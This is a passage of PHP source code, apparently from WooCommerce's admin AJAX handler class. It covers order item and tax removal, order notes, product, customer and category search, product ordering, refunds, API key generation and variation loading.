ob_get_clean(); ob_start(); $notes = wc_get_order_notes( array( 'order_id' => $order_id ) ); include __DIR__ . '/admin/meta-boxes/views/html-order-notes.php'; $response['notes_html'] = ob_get_clean(); } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } // wp_send_json_success must be outside the try block not to break phpunit tests. wp_send_json_success( $response ); } /** * Remove an order item. * * @throws Exception If order is invalid. */ public static function remove_order_item() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['order_id'], $_POST['order_item_ids'] ) ) { wp_die( -1 ); } $response = array(); try { $order_id = absint( $_POST['order_id'] ); $order = wc_get_order( $order_id ); if ( ! $order ) { throw new Exception( __( 'Invalid order', 'woocommerce' ) ); } if ( ! isset( $_POST['order_item_ids'] ) ) { throw new Exception( __( 'Invalid items', 'woocommerce' ) ); } $order_item_ids = wp_unslash( $_POST['order_item_ids'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $items = ( ! empty( $_POST['items'] ) ) ? wp_unslash( $_POST['items'] ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $calculate_tax_args = array( 'country' => isset( $_POST['country'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['country'] ) ) ) : '', 'state' => isset( $_POST['state'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['state'] ) ) ) : '', 'postcode' => isset( $_POST['postcode'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['postcode'] ) ) ) : '', 'city' => isset( $_POST['city'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['city'] ) ) ) : '', ); if ( is_numeric( $order_item_ids ) ) { $order_item_ids = array( $order_item_ids ); } // If we passed through items it means we need to save first before deleting. if ( ! empty( $items ) ) { $save_items = array(); parse_str( $items, $save_items ); wc_save_order_items( $order->get_id(), $save_items ); } if ( ! empty( $order_item_ids ) ) { foreach ( $order_item_ids as $item_id ) { $item_id = absint( $item_id ); $item = $order->get_item( $item_id ); if ( ! $item ) { continue; } // Before deleting the item, adjust any stock values already reduced. if ( $item->is_type( 'line_item' ) ) { $changed_stock = wc_maybe_adjust_line_item_product_stock( $item, 0 ); if ( $changed_stock && ! is_wp_error( $changed_stock ) ) { /* translators: %1$s: item name %2$s: stock change */ $order->add_order_note( sprintf( __( 'Deleted %1$s and adjusted stock (%2$s)', 'woocommerce' ), $item->get_name(), $changed_stock['from'] . '→' . $changed_stock['to'] ), false, true ); } else { /* translators: %s item name. */ $order->add_order_note( sprintf( __( 'Deleted %s', 'woocommerce' ), $item->get_name() ), false, true ); } } wc_delete_order_item( $item_id ); } } $order = wc_get_order( $order_id ); $order->calculate_taxes( $calculate_tax_args ); $order->calculate_totals( false ); /** * Fires after order items are removed. * * @since 5.2.0 * * @param int $item_id WC item ID. * @param WC_Order_Item|false $item As returned by $order->get_item( $item_id ). * @param bool|array|WP_Error $changed_store Result of wc_maybe_adjust_line_item_product_stock(). * @param bool|WC_Order|WC_Order_Refund $order As returned by wc_get_order(). */ do_action( 'woocommerce_ajax_order_items_removed', $item_id ?? 0, $item ?? false, $changed_stock ?? false, $order ); // Get HTML to return. ob_start(); include __DIR__ . '/admin/meta-boxes/views/html-order-items.php'; $items_html = ob_get_clean(); ob_start(); $notes = wc_get_order_notes( array( 'order_id' => $order_id ) ); include __DIR__ . '/admin/meta-boxes/views/html-order-notes.php'; $notes_html = ob_get_clean(); wp_send_json_success( array( 'html' => $items_html, 'notes_html' => $notes_html, ) ); } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } // wp_send_json_success must be outside the try block not to break phpunit tests. wp_send_json_success( $response ); } /** * Remove an order tax. * * @throws Exception If there is an error whilst deleting the rate. */ public static function remove_order_tax() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['order_id'], $_POST['rate_id'] ) ) { wp_die( -1 ); } $response = array(); try { $order_id = absint( $_POST['order_id'] ); $rate_id = absint( $_POST['rate_id'] ); $order = wc_get_order( $order_id ); if ( ! $order->is_editable() ) { throw new Exception( __( 'Order not editable', 'woocommerce' ) ); } wc_delete_order_item( $rate_id ); // Need to load order again after deleting to have latest items before calculating. $order = wc_get_order( $order_id ); $order->calculate_totals( false ); ob_start(); include __DIR__ . '/admin/meta-boxes/views/html-order-items.php'; $response['html'] = ob_get_clean(); } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } // wp_send_json_success must be outside the try block not to break phpunit tests. wp_send_json_success( $response ); } /** * Calc line tax. */ public static function calc_line_taxes() { wc_get_container()->get( TaxesController::class )->calc_line_taxes_via_ajax(); } /** * Save order items via ajax. */ public static function save_order_items() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['order_id'], $_POST['items'] ) ) { wp_die( -1 ); } if ( isset( $_POST['order_id'], $_POST['items'] ) ) { $order_id = absint( $_POST['order_id'] ); // Parse the jQuery serialized items. $items = array(); parse_str( wp_unslash( $_POST['items'] ), $items ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized // Save order items. wc_save_order_items( $order_id, $items ); // Return HTML items. $order = wc_get_order( $order_id ); // Get HTML to return. ob_start(); include __DIR__ . '/admin/meta-boxes/views/html-order-items.php'; $items_html = ob_get_clean(); ob_start(); $notes = wc_get_order_notes( array( 'order_id' => $order_id ) ); include __DIR__ . '/admin/meta-boxes/views/html-order-notes.php'; $notes_html = ob_get_clean(); wp_send_json_success( array( 'html' => $items_html, 'notes_html' => $notes_html, ) ); } wp_die(); } /** * Load order items via ajax. */ public static function load_order_items() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['order_id'] ) ) { wp_die( -1 ); } // Return HTML items. $order_id = absint( $_POST['order_id'] ); $order = wc_get_order( $order_id ); include __DIR__ . '/admin/meta-boxes/views/html-order-items.php'; wp_die(); } /** * Add order note via ajax. */ public static function add_order_note() { check_ajax_referer( 'add-order-note', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['post_id'], $_POST['note'], $_POST['note_type'] ) ) { wp_die( -1 ); } $post_id = absint( $_POST['post_id'] ); $note = wp_kses_post( trim( wp_unslash( $_POST['note'] ) ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $note_type = wc_clean( wp_unslash( $_POST['note_type'] ) ); $is_customer_note = ( 'customer' === $note_type ) ? 1 : 0; if ( $post_id > 0 ) { $order = wc_get_order( $post_id ); $comment_id = $order->add_order_note( $note, $is_customer_note, true ); $note = wc_get_order_note( $comment_id ); $note_classes = array( 'note' ); $note_classes[] = $is_customer_note ? 'customer-note' : ''; $note_classes = apply_filters( 'woocommerce_order_note_class', array_filter( $note_classes ), $note ); ?> <li rel="<?php echo absint( $note->id ); ?>" class="<?php echo esc_attr( implode( ' ', $note_classes ) ); ?>"> <div class="note_content"> <?php echo wp_kses_post( wpautop( wptexturize( make_clickable( $note->content ) ) ) ); ?> </div> <p class="meta"> <abbr class="exact-date" title="<?php echo esc_attr( $note->date_created->date( 'y-m-d h:i:s' ) ); ?>"> <?php /* translators: $1: Date created, $2 Time created */ printf( esc_html__( 'added on %1$s at %2$s', 'woocommerce' ), esc_html( $note->date_created->date_i18n( wc_date_format() ) ), esc_html( $note->date_created->date_i18n( wc_time_format() ) ) ); ?> </abbr> <?php if ( 'system' !== $note->added_by ) : /* translators: %s: note author */ printf( ' ' . esc_html__( 'by %s', 'woocommerce' ), esc_html( $note->added_by ) ); endif; ?> <a href="#" class="delete_note" role="button"><?php esc_html_e( 'Delete note', 'woocommerce' ); ?></a> </p> </li> <?php } wp_die(); } /** * Delete order note via ajax. */ public static function delete_order_note() { check_ajax_referer( 'delete-order-note', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['note_id'] ) ) { wp_die( -1 ); } $note_id = (int) $_POST['note_id']; if ( $note_id > 0 ) { wc_delete_order_note( $note_id ); } wp_die(); } /** * Search for products and echo json. * * @param string $term (default: '') Term to search for. * @param bool $include_variations in search or not. */ public static function json_search_products( $term = '', $include_variations = false ) { check_ajax_referer( 'search-products', 'security' ); if ( empty( $term ) && isset( $_GET['term'] ) ) { $term = (string) wc_clean( wp_unslash( $_GET['term'] ) ); } if ( empty( $term ) ) { wp_die(); } if ( ! empty( $_GET['limit'] ) ) { $limit = absint( $_GET['limit'] ); } else { $limit = absint( apply_filters( 'woocommerce_json_search_limit', 30 ) ); } $include_ids = ! empty( $_GET['include'] ) ? array_map( 'absint', (array) wp_unslash( $_GET['include'] ) ) : array(); $exclude_ids = ! empty( $_GET['exclude'] ) ? array_map( 'absint', (array) wp_unslash( $_GET['exclude'] ) ) : array(); $exclude_types = array(); if ( ! empty( $_GET['exclude_type'] ) ) { // Support both comma-delimited and array format inputs. $exclude_types = wp_unslash( $_GET['exclude_type'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if ( ! is_array( $exclude_types ) ) { $exclude_types = explode( ',', $exclude_types ); } // Sanitize the excluded types against valid product types. foreach ( $exclude_types as &$exclude_type ) { $exclude_type = strtolower( trim( $exclude_type ) ); } $exclude_types = array_intersect( array_merge( array( 'variation' ), array_keys( wc_get_product_types() ) ), $exclude_types ); } $data_store = WC_Data_Store::load( 'product' ); $ids = $data_store->search_products( $term, '', (bool) $include_variations, false, $limit, $include_ids, $exclude_ids ); $products = array(); foreach ( $ids as $id ) { $product_object = wc_get_product( $id ); if ( ! wc_products_array_filter_readable( $product_object ) ) { continue; } $formatted_name = $product_object->get_formatted_name(); $managing_stock = $product_object->managing_stock(); if ( in_array( $product_object->get_type(), $exclude_types, true ) ) { continue; } if ( $managing_stock && ! empty( $_GET['display_stock'] ) ) { $stock_amount = $product_object->get_stock_quantity(); /* Translators: %d stock amount */ $formatted_name .= ' – ' . sprintf( __( 'Stock: %d', 'woocommerce' ), wc_format_stock_quantity_for_display( $stock_amount, $product_object ) ); } $products[ $product_object->get_id() ] = rawurldecode( wp_strip_all_tags( $formatted_name ) ); } wp_send_json( apply_filters( 'woocommerce_json_search_found_products', $products ) ); } /** * Search for product variations and return json. * * @see WC_AJAX::json_search_products() */ public static function json_search_products_and_variations() { self::json_search_products( '', true ); } /** * Search for downloadable product variations and return json. * * @see WC_AJAX::json_search_products() */ public static function json_search_downloadable_products_and_variations() { check_ajax_referer( 'search-products', 'security' ); if ( ! empty( $_GET['limit'] ) ) { $limit = absint( $_GET['limit'] ); } else { $limit = absint( apply_filters( 'woocommerce_json_search_limit', 30 ) ); } $include_ids = ! empty( $_GET['include'] ) ? array_map( 'absint', (array) wp_unslash( $_GET['include'] ) ) : array(); $exclude_ids = ! empty( $_GET['exclude'] ) ? array_map( 'absint', (array) wp_unslash( $_GET['exclude'] ) ) : array(); $term = isset( $_GET['term'] ) ? (string) wc_clean( wp_unslash( $_GET['term'] ) ) : ''; $data_store = WC_Data_Store::load( 'product' ); $ids = $data_store->search_products( $term, 'downloadable', true, false, $limit ); $product_objects = array_filter( array_map( 'wc_get_product', $ids ), 'wc_products_array_filter_readable' ); $products = array(); foreach ( $product_objects as $product_object ) { $products[ $product_object->get_id() ] = rawurldecode( wp_strip_all_tags( $product_object->get_formatted_name() ) ); } wp_send_json( $products ); } /** * Search for customers and return json. */ public static function json_search_customers() { ob_start(); check_ajax_referer( 'search-customers', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) ) { wp_die( -1 ); } $term = isset( $_GET['term'] ) ? (string) wc_clean( wp_unslash( $_GET['term'] ) ) : ''; $limit = 0; if ( empty( $term ) ) { wp_die(); } $ids = array(); // Search by ID. if ( is_numeric( $term ) ) { $customer = new WC_Customer( intval( $term ) ); // Customer does not exists. if ( 0 !== $customer->get_id() ) { $ids = array( $customer->get_id() ); } } // Usernames can be numeric so we first check that no users was found by ID before searching for numeric username, this prevents performance issues with ID lookups. if ( empty( $ids ) ) { $data_store = WC_Data_Store::load( 'customer' ); // If search is smaller than 3 characters, limit result set to avoid // too many rows being returned. if ( 3 > strlen( $term ) ) { $limit = 20; } $ids = $data_store->search_customers( $term, $limit ); } $found_customers = array(); if ( ! empty( $_GET['exclude'] ) ) { $ids = array_diff( $ids, array_map( 'absint', (array) wp_unslash( $_GET['exclude'] ) ) ); } foreach ( $ids as $id ) { $customer = new WC_Customer( $id ); /* translators: 1: user display name 2: user ID 3: user email */ $found_customers[ $id ] = sprintf( /* translators: $1: customer name, $2 customer id, $3: customer email */ esc_html__( '%1$s (#%2$s – %3$s)', 'woocommerce' ), $customer->get_first_name() . ' ' . $customer->get_last_name(), $customer->get_id(), $customer->get_email() ); } wp_send_json( apply_filters( 'woocommerce_json_search_found_customers', $found_customers ) ); } /** * Search for categories and return json. */ public static function json_search_categories() { ob_start(); check_ajax_referer( 'search-categories', 'security' ); if ( ! current_user_can( 'edit_products' ) ) { wp_die( -1 ); } $search_text = isset( $_GET['term'] ) ? wc_clean( wp_unslash( $_GET['term'] ) ) : ''; if ( ! $search_text ) { wp_die(); } $show_empty = isset( $_GET['show_empty'] ) ? wp_validate_boolean( wc_clean( wp_unslash( $_GET['show_empty'] ) ) ) : false; $found_categories = array(); $args = array( 'taxonomy' => array( 'product_cat' ), 'orderby' => 'id', 'order' => 'ASC', 'hide_empty' => ! $show_empty, 'fields' => 'all', 'name__like' => $search_text, ); $terms = get_terms( $args ); if ( $terms ) { foreach ( $terms as $term ) { $term->formatted_name = ''; $ancestors = array(); if ( $term->parent ) { $ancestors = array_reverse( get_ancestors( $term->term_id, 'product_cat' ) ); foreach ( $ancestors as $ancestor ) { $ancestor_term = get_term( $ancestor, 'product_cat' ); if ( $ancestor_term ) { $term->formatted_name .= $ancestor_term->name . ' > '; } } } $term->parents = $ancestors; $term->formatted_name .= $term->name . ' (' . $term->count . ')'; $found_categories[ $term->term_id ] = $term; } } wp_send_json( apply_filters( 'woocommerce_json_search_found_categories', $found_categories ) ); } /** * Search for categories and return json. */ public static function json_search_categories_tree() { ob_start(); check_ajax_referer( 'search-categories', 'security' ); if ( ! current_user_can( 'edit_products' ) ) { wp_die( -1 ); } $search_text = isset( $_GET['term'] ) ? wc_clean( wp_unslash( $_GET['term'] ) ) : ''; $number = isset( $_GET['number'] ) ? absint( $_GET['number'] ) : 50; $args = array( 'taxonomy' => array( 'product_cat' ), 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => false, 'fields' => 'all', 'number' => $number, 'name__like' => $search_text, ); $terms = get_terms( $args ); $terms_map = array(); if ( $terms ) { foreach ( $terms as $term ) { $terms_map[ $term->term_id ] = $term; if ( $term->parent ) { $ancestors = get_ancestors( $term->term_id, 'product_cat' ); $current_child = $term; foreach ( $ancestors as $ancestor ) { if ( ! isset( $terms_map[ $ancestor ] ) ) { $ancestor_term = get_term( $ancestor, 'product_cat' ); $terms_map[ $ancestor ] = $ancestor_term; } if ( ! $terms_map[ $ancestor ]->children ) { $terms_map[ $ancestor ]->children = array(); } $item_exists = count( array_filter( $terms_map[ $ancestor ]->children, function( $term ) use ( $current_child ) { return $term->term_id === $current_child->term_id; } ) ) === 1; if ( ! $item_exists ) { $terms_map[ $ancestor ]->children[] = $current_child; } $current_child = $terms_map[ $ancestor ]; } } } } $parent_terms = array_filter( array_values( $terms_map ), function( $term ) { return 0 === $term->parent; } ); wp_send_json( apply_filters( 'woocommerce_json_search_found_categories', $parent_terms ) ); } /** * Search for taxonomy terms and return json. */ public static function json_search_taxonomy_terms() { ob_start(); check_ajax_referer( 'search-taxonomy-terms', 'security' ); if ( ! current_user_can( 'edit_products' ) ) { wp_die( -1 ); } $search_text = isset( $_GET['term'] ) ? wc_clean( wp_unslash( $_GET['term'] ) ) : ''; $limit = isset( $_GET['limit'] ) ? absint( wp_unslash( $_GET['limit'] ) ) : null; $taxonomy = isset( $_GET['taxonomy'] ) ? wc_clean( wp_unslash( $_GET['taxonomy'] ) ) : ''; $orderby = isset( $_GET['orderby'] ) ? wc_clean( wp_unslash( $_GET['orderby'] ) ) : 'name'; $order = isset( $_GET['order'] ) ? wc_clean( wp_unslash( $_GET['order'] ) ) : 'ASC'; $args = array( 'taxonomy' => $taxonomy, 'orderby' => $orderby, 'order' => $order, 'hide_empty' => false, 'fields' => 'all', 'number' => $limit, 'name__like' => $search_text, 'suppress_filter' => true, ); /** * Filter the product attribute term arguments used for search. * * @since 3.4.0 * @param array $args The search arguments. */ $terms = get_terms( apply_filters( 'woocommerce_product_attribute_terms', $args ) ); /** * Filter the product attribute terms search results. * * @since 7.0.0 * @param array $terms The list of matched terms. * @param string $taxonomy The terms taxonomy. */ wp_send_json( apply_filters( 'woocommerce_json_search_found_product_attribute_terms', $terms, $taxonomy ) ); } /** * Search for product attributes and return json. */ public static function json_search_product_attributes() { ob_start(); check_ajax_referer( 'search-product-attributes', 'security' ); if ( ! current_user_can( 'edit_products' ) ) { wp_die( -1 ); } $limit = isset( $_GET['limit'] ) ? absint( wp_unslash( $_GET['limit'] ) ) : 100; $search_text = isset( $_GET['term'] ) ? wc_clean( wp_unslash( $_GET['term'] ) ) : ''; $attributes = wc_get_attribute_taxonomies(); $found_product_categories = array(); foreach ( $attributes as $attribute_obj ) { if ( ! $search_text || false !== stripos( $attribute_obj->attribute_label, $search_text ) ) { $found_product_categories[] = array( 'id' => (int) $attribute_obj->attribute_id, 'name' => $attribute_obj->attribute_label, 'slug' => wc_attribute_taxonomy_name( $attribute_obj->attribute_name ), 'type' => $attribute_obj->attribute_type, 'order_by' => $attribute_obj->attribute_orderby, 'has_archives' => (bool) $attribute_obj->attribute_public, ); } if ( count( $found_product_categories ) >= $limit ) { break; } } /** * Filter the product category search results. * * @since 7.0.0 * @param array $found_product_categories Array of matched product categories. * @param string $search_text Search text. */ wp_send_json( apply_filters( 'woocommerce_json_search_found_product_categories', $found_product_categories, $search_text ) ); } /** * Ajax request handling for page searching. */ public static function json_search_pages() { ob_start(); check_ajax_referer( 'search-pages', 'security' ); if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_die( -1 ); } $search_text = isset( $_GET['term'] ) ? wc_clean( wp_unslash( $_GET['term'] ) ) : ''; $limit = isset( $_GET['limit'] ) ? absint( wp_unslash( $_GET['limit'] ) ) : -1; $exclude_ids = ! empty( $_GET['exclude'] ) ? array_map( 'absint', (array) wp_unslash( $_GET['exclude'] ) ) : array(); $args = array( 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'posts_per_page' => $limit, 'post_type' => 'page', 'post_status' => array( 'publish', 'private', 'draft' ), 's' => $search_text, 'post__not_in' => $exclude_ids, ); $search_results_query = new WP_Query( $args ); $pages_results = array(); foreach ( $search_results_query->get_posts() as $post ) { $pages_results[ $post->ID ] = sprintf( /* translators: 1: page name 2: page ID */ __( '%1$s (ID: %2$s)', 'woocommerce' ), get_the_title( $post ), $post->ID ); } wp_send_json( apply_filters( 'woocommerce_json_search_found_pages', $pages_results ) ); } /** * Ajax request handling for categories ordering. */ public static function term_ordering() { // phpcs:disable WordPress.Security.NonceVerification.Missing if ( ! current_user_can( 'edit_products' ) || empty( $_POST['id'] ) ) { wp_die( -1 ); } $id = (int) $_POST['id']; $next_id = isset( $_POST['nextid'] ) && (int) $_POST['nextid'] ? (int) $_POST['nextid'] : null; $taxonomy = isset( $_POST['thetaxonomy'] ) ? esc_attr( wp_unslash( $_POST['thetaxonomy'] ) ) : null; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $term = get_term_by( 'id', $id, $taxonomy ); if ( ! $id || ! $term || ! $taxonomy ) { wp_die( 0 ); } wc_reorder_terms( $term, $next_id, $taxonomy ); $children = get_terms( $taxonomy, "child_of=$id&menu_order=ASC&hide_empty=0" ); $children_count = is_countable( $children ) ? count( $children ) : 0; if ( $term && $children_count ) { echo 'children'; wp_die(); } // phpcs:enable } /** * Ajax request handling for product ordering. * * Based on Simple Page Ordering by 10up (https://wordpress.org/plugins/simple-page-ordering/). */ public static function product_ordering() { global $wpdb; // phpcs:disable WordPress.Security.NonceVerification.Missing if ( ! current_user_can( 'edit_products' ) || empty( $_POST['id'] ) ) { wp_die( -1 ); } $sorting_id = absint( $_POST['id'] ); $previd = absint( isset( $_POST['previd'] ) ? $_POST['previd'] : 0 ); $nextid = absint( isset( $_POST['nextid'] ) ? $_POST['nextid'] : 0 ); $menu_orders = wp_list_pluck( $wpdb->get_results( "SELECT ID, menu_order FROM {$wpdb->posts} WHERE post_type = 'product' ORDER BY menu_order ASC, post_title ASC" ), 'menu_order', 'ID' ); $index = 0; foreach ( $menu_orders as $id => $menu_order ) { $id = absint( $id ); if ( $sorting_id === $id ) { continue; } if ( $nextid === $id ) { $index ++; } $index ++; $menu_orders[ $id ] = $index; if ( $wpdb->update( $wpdb->posts, array( 'menu_order' => $index ), array( 'ID' => $id ) ) ) { // We only need to clean the cache if the menu order was actually modified. clean_post_cache( $id ); } /** * When a single product has gotten it's ordering updated. * $id The product ID * $index The new menu order */ do_action( 'woocommerce_after_single_product_ordering', $id, $index ); } if ( isset( $menu_orders[ $previd ] ) ) { $menu_orders[ $sorting_id ] = $menu_orders[ $previd ] + 1; } elseif ( isset( $menu_orders[ $nextid ] ) ) { $menu_orders[ $sorting_id ] = $menu_orders[ $nextid ] - 1; } else { $menu_orders[ $sorting_id ] = 0; } if ( $wpdb->update( $wpdb->posts, array( 'menu_order' => $menu_orders[ $sorting_id ] ), array( 'ID' => $sorting_id ) ) ) { // We only need to clean the cache if the menu order was actually modified. clean_post_cache( $sorting_id ); } WC_Post_Data::delete_product_query_transients(); do_action( 'woocommerce_after_product_ordering', $sorting_id, $menu_orders ); wp_send_json( $menu_orders ); // phpcs:enable } /** * Handle a refund via the edit order screen. * * @throws Exception To return errors. */ public static function refund_line_items() { ob_start(); check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) ) { wp_die( -1 ); } $order_id = isset( $_POST['order_id'] ) ? absint( $_POST['order_id'] ) : 0; $refund_amount = isset( $_POST['refund_amount'] ) ? wc_format_decimal( sanitize_text_field( wp_unslash( $_POST['refund_amount'] ) ), wc_get_price_decimals() ) : 0; $refunded_amount = isset( $_POST['refunded_amount'] ) ? wc_format_decimal( sanitize_text_field( wp_unslash( $_POST['refunded_amount'] ) ), wc_get_price_decimals() ) : 0; $refund_reason = isset( $_POST['refund_reason'] ) ? sanitize_text_field( wp_unslash( $_POST['refund_reason'] ) ) : ''; $line_item_qtys = isset( $_POST['line_item_qtys'] ) ? json_decode( sanitize_text_field( wp_unslash( $_POST['line_item_qtys'] ) ), true ) : array(); $line_item_totals = isset( $_POST['line_item_totals'] ) ? json_decode( sanitize_text_field( wp_unslash( $_POST['line_item_totals'] ) ), true ) : array(); $line_item_tax_totals = isset( $_POST['line_item_tax_totals'] ) ? json_decode( sanitize_text_field( wp_unslash( $_POST['line_item_tax_totals'] ) ), true ) : array(); $api_refund = isset( $_POST['api_refund'] ) && 'true' === $_POST['api_refund']; $restock_refunded_items = isset( $_POST['restock_refunded_items'] ) && 'true' === $_POST['restock_refunded_items']; $refund = false; $response = array(); try { $order = wc_get_order( $order_id ); $max_refund = wc_format_decimal( $order->get_total() - $order->get_total_refunded(), wc_get_price_decimals() ); if ( ( ! $refund_amount && ( wc_format_decimal( 0, wc_get_price_decimals() ) !== $refund_amount ) ) || $max_refund < $refund_amount || 0 > $refund_amount ) { throw new Exception( __( 'Invalid refund amount', 'woocommerce' ) ); } if ( wc_format_decimal( $order->get_total_refunded(), wc_get_price_decimals() ) !== $refunded_amount ) { throw new Exception( __( 'Error processing refund. Please try again.', 'woocommerce' ) ); } // Prepare line items which we are refunding. $line_items = array(); $item_ids = array_unique( array_merge( array_keys( $line_item_qtys ), array_keys( $line_item_totals ) ) ); foreach ( $item_ids as $item_id ) { $line_items[ $item_id ] = array( 'qty' => 0, 'refund_total' => 0, 'refund_tax' => array(), ); } foreach ( $line_item_qtys as $item_id => $qty ) { $line_items[ $item_id ]['qty'] = max( $qty, 0 ); } foreach ( $line_item_totals as $item_id => $total ) { $line_items[ $item_id ]['refund_total'] = wc_format_decimal( $total ); } foreach ( $line_item_tax_totals as $item_id => $tax_totals ) { $line_items[ $item_id ]['refund_tax'] = array_filter( array_map( 'wc_format_decimal', $tax_totals ) ); } // Create the refund object. $refund = wc_create_refund( array( 'amount' => $refund_amount, 'reason' => $refund_reason, 'order_id' => $order_id, 'line_items' => $line_items, 'refund_payment' => $api_refund, 'restock_items' => $restock_refunded_items, ) ); if ( is_wp_error( $refund ) ) { throw new Exception( $refund->get_error_message() ); } if ( did_action( 'woocommerce_order_fully_refunded' ) ) { $response['status'] = 'fully_refunded'; } } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } // wp_send_json_success must be outside the try block not to break phpunit tests. wp_send_json_success( $response ); } /** * Delete a refund. */ public static function delete_refund() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['refund_id'] ) ) { wp_die( -1 ); } $refund_ids = array_map( 'absint', is_array( $_POST['refund_id'] ) ? wp_unslash( $_POST['refund_id'] ) : array( wp_unslash( $_POST['refund_id'] ) ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( $refund_ids as $refund_id ) { if ( $refund_id && 'shop_order_refund' === OrderUtil::get_order_type( $refund_id ) ) { $refund = wc_get_order( $refund_id ); $order_id = $refund->get_parent_id(); $refund->delete( true ); do_action( 'woocommerce_refund_deleted', $refund_id, $order_id ); } } wp_die(); } /** * Triggered when clicking the rating footer. */ public static function rated() { if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_die( -1 ); } update_option( 'woocommerce_admin_footer_text_rated', 1 ); wp_die(); } /** * Create/Update API key. * * @throws Exception On invalid or empty description, user, or permissions. */ public static function update_api_key() { ob_start(); global $wpdb; check_ajax_referer( 'update-api-key', 'security' ); if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_die( -1 ); } $response = array(); try { if ( empty( $_POST['description'] ) ) { throw new Exception( __( 'Description is missing.', 'woocommerce' ) ); } if ( empty( $_POST['user'] ) ) { throw new Exception( __( 'User is missing.', 'woocommerce' ) ); } if ( empty( $_POST['permissions'] ) ) { throw new Exception( __( 'Permissions is missing.', 'woocommerce' ) ); } $key_id = isset( $_POST['key_id'] ) ? absint( $_POST['key_id'] ) : 0; $description = sanitize_text_field( wp_unslash( $_POST['description'] ) ); $permissions = ( in_array( wp_unslash( $_POST['permissions'] ), array( 'read', 'write', 'read_write' ), true ) ) ? sanitize_text_field( wp_unslash( $_POST['permissions'] ) ) : 'read'; $user_id = absint( $_POST['user'] ); // Check if current user can edit other users. if ( $user_id && ! current_user_can( 'edit_user', $user_id ) ) { if ( get_current_user_id() !== $user_id ) { throw new Exception( __( 'You do not have permission to assign API Keys to the selected user.', 'woocommerce' ) ); } } if ( 0 < $key_id ) { $data = array( 'user_id' => $user_id, 'description' => $description, 'permissions' => $permissions, ); $wpdb->update( $wpdb->prefix . 'woocommerce_api_keys', $data, array( 'key_id' => $key_id ), array( '%d', '%s', '%s', ), array( '%d' ) ); $response = $data; $response['consumer_key'] = ''; $response['consumer_secret'] = ''; $response['message'] = __( 'API Key updated successfully.', 'woocommerce' ); } else { $consumer_key = 'ck_' . wc_rand_hash(); $consumer_secret = 'cs_' . wc_rand_hash(); $data = array( 'user_id' => $user_id, 'description' => $description, 'permissions' => $permissions, 'consumer_key' => wc_api_hash( $consumer_key ), 'consumer_secret' => $consumer_secret, 'truncated_key' => substr( $consumer_key, -7 ), ); $wpdb->insert( $wpdb->prefix . 'woocommerce_api_keys', $data, array( '%d', '%s', '%s', '%s', '%s', '%s', ) ); if ( 0 === $wpdb->insert_id ) { throw new Exception( __( 'There was an error generating your API Key.', 'woocommerce' ) ); } $key_id = $wpdb->insert_id; $response = $data; $response['consumer_key'] = $consumer_key; $response['consumer_secret'] = $consumer_secret; $response['message'] = __( 'API Key generated successfully. Make sure to copy your new keys now as the secret key will be hidden once you leave this page.', 'woocommerce' ); $response['revoke_url'] = '<a style="color: #a00; text-decoration: none;" href="' . esc_url( wp_nonce_url( add_query_arg( array( 'revoke-key' => $key_id ), admin_url( 'admin.php?page=wc-settings&tab=advanced§ion=keys' ) ), 'revoke' ) ) . '">' . __( 'Revoke key', 'woocommerce' ) . '</a>'; } } catch ( Exception $e ) { wp_send_json_error( array( 'message' => $e->getMessage() ) ); } // wp_send_json_success must be outside the try block not to break phpunit tests. wp_send_json_success( $response ); } /** * Load variations via AJAX. */ public static function load_variations() { ob_start(); check_ajax_referer( 'load-variations', 'security' ); if ( ! current_user_can( 'edit_products' ) || empty( $_POST['product_id'] ) ) { wp_die( -1 ); } // Set $post global so its available, like within the admin screens. global $post; $loop = 0; $product_id = absint( $_POST['product_id'] ); $post = get_post( $product_id ); // phpcs:ignore $product_object = wc_get_product( $product_id ); $per_page = ! empty( $_POST['per_page'] ) ? absint( $_POST['per_page'] ) : 10; $page = ! empty( $_POST['page'] ) ? absint( $_POST['page'] ) : 1; $variations = wc_get_products( array( 'status' => array( 'private', 'publish' ), 'type' => 'variation', 'parent' => $product_id, 'limit' => $per_page, 'page' => $page, 'orderby' => array( 'menu_order' => 'ASC', 'ID' => 'DESC', ), 'return' => 'objects', ) ); if ( $variations ) { wc_render_invalid_variation_notice( $product_object ); foreach ( $variations as $variation_object ) { $variation_id = $variation_object->get_id(); $variation = get_post( $variation_id ); $variation_data = array_merge( get_post_custom( $variation_id ), wc_get_product_variation_attributes( $variation_id ) 